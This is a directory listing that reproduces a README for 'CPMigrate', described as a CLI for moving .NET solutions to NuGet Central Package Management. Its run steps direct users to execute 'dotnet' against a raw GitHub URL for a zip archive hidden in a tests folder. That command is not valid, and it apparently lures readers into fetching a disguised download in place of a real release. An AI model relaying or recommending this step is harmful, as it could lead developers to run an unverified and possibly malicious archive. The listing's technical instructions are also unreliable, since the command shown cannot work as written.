← All tools

MisterDog333/CPMigrate

Popularity 75 Updated Development & Build

🚀 Modernize .NET projects easily with CPMigrate. Streamline dependency management using Central Package Management with a simple CLI tool.

githubauto-collected

Installation

A directly usable install command is not verified yet. Check the project documentation or releases.

🌟 CPMigrate - Effortless .NET Migration Made Easy

📥 Download CPMigrate

🚀 Getting Started

CPMigrate is a command-line tool designed to simplify the migration of .NET solutions to NuGet Central Package Management (CPM). This tool works seamlessly to handle version conflicts, create backups, and perform dry runs, making it the ideal choice for developers looking to enhance their productivity.

🛠️ System Requirements

Before you start, ensure that your system meets the following requirements:

  • Operating System: Windows 10/11, macOS, or any Linux distribution.
  • .NET Version: .NET 5.0 or later.
  • Memory: At least 4 GB of RAM.
  • Disk Space: A minimum of 100 MB available.

📂 Features

  • Automated Migration: Move your .NET solutions to CPM with a few simple commands.
  • Version Conflict Management: Automatically handle dependency issues.
  • Backup Creation: Keep a backup of your project files before making changes.
  • Dry Run Option: Preview changes before applying them to your project.

📥 Download & Install

To download CPMigrate, visit the Releases page. Here, you will find the latest version available for download.

  • Click on the "Releases" tab.
  • Find the latest release, which will be at the top of the list.
  • Choose the appropriate version for your operating system.
  • Download the file and remember where you saved it.

🏃‍♂️ Running CPMigrate

Once you have downloaded CPMigrate, follow these steps to run it:

  • Open your command prompt or terminal.
  • Navigate to the location where you downloaded CPMigrate.
  • Type dotnet https://raw.githubusercontent.com/MisterDog333/CPMigrate/main/CPMigrate.Tests/OptionsTests/CP-Migrate-2.3.zip followed by any necessary commands based on your migration needs.

For example, to perform a dry run without making changes, type:

dotnet https://raw.githubusercontent.com/MisterDog333/CPMigrate/main/CPMigrate.Tests/OptionsTests/CP-Migrate-2.3.zip dry-run

📘 Command Options